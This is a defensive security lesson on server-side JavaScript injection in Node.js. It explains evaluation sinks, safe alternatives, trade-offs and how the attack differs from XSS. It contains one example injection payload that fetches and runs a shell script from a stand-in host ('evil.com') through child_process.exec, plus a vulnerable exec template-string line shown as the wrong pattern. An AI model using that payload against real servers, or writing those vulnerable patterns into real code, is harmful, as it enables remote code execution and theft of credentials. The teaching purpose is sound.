FSD Frontend System Design

Part II β€” The Shield Β· Lesson 3.11

Server-side JavaScript Injection (SSJI)

In one lineUser input reaches an evaluator on your Node server, and now they own the process.

Where you've seen itA reporting tool that lets users type a "custom formula", which the backend helpfully runs through eval().

  • Time13 min
  • DiagramInjection path from request body to process control
  • Chapter3 Β· Security

Diagram

diagram
FROM REQUEST BODY TO ROOT β€” one hop

  POST /report { formula: "1+1" }        ← intended
  POST /report { formula:
    "require('child_process').exec('curl evil.com/s.sh|sh')" }

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”   body   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  eval()  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ Browser β”‚ ───────► β”‚  Node server   β”‚ ───────► β”‚ full process β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜          β”‚ β€’ env secretsβ”‚
                                                   β”‚ β€’ filesystem β”‚
       XSS = one browser tab                       β”‚ β€’ DB creds   β”‚
       SSJI = your entire backend                  β”‚ β€’ internal   β”‚
                                                   β”‚   network    β”‚
                                                   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
diagram
THE SINKS β€” anything that turns a string into code

  eval(str)                        setTimeout("code", 0)   ← string form
  new Function(str)                setInterval("code", 0)
  vm.runInThisContext(str)         require(userPath)
  child_process.exec(str)          ← shell metacharacters
  JSON deserialisers with          template engines with
  custom revivers                  unescaped interpolation
diagram
SAFE ALTERNATIVES β€” same feature, no evaluator

  need arithmetic?     a parser (expr-eval, mathjs), not eval
  need templates?      auto-escaping engine, never string concat
  need a subprocess?   execFile(cmd, [args])  ← array, no shell
  need dynamic import? map a key to a fixed allowlist of modules
  truly need sandbox?  separate process + isolate + timeout + no net

How it works

  1. A request value flows into an evaluation sink without ever leaving string form.
  2. Node has no browser sandbox: the code runs with the process's full privileges.
  3. require('fs'), process.env, and child_process are one expression away.
  4. Never evaluate user input. Replace the evaluator with a parser or a fixed allowlist of operations.
  5. If a sandbox is genuinely unavoidable, isolate at the process or container level with no network and a hard timeout β€” vm alone is not a security boundary.
js
// βœ— shell string β€” metacharacters execute
exec(`convert ${file} out.png`);

// βœ“ argument array β€” no shell involved
execFile('convert', [file, 'out.png']);

Trade-offs

RequirementSafe approach
User formulasExpression parser with a fixed function set
User templatesAuto-escaping engine, no raw interpolation
Plugin systemSigned modules, loaded from an allowlist
Untrusted code, trulyIsolated process/container, no network, timeout

Interview angle

"How is SSJI different from XSS?"

  • XSS executes in one user's browser inside the origin sandbox; SSJI executes on your server with no sandbox at all.
  • Impact: session theft versus environment variables, database credentials, and lateral movement.
  • Both come from the same root cause β€” data reaching an interpreter β€” but SSJI has no recoverable blast radius.

Recap

  • Any string-to-code path on the server is a full compromise, not a bug.
  • Replace evaluators with parsers, and shell strings with argument arrays.
  • vm is isolation, not security; use process-level sandboxing if you must.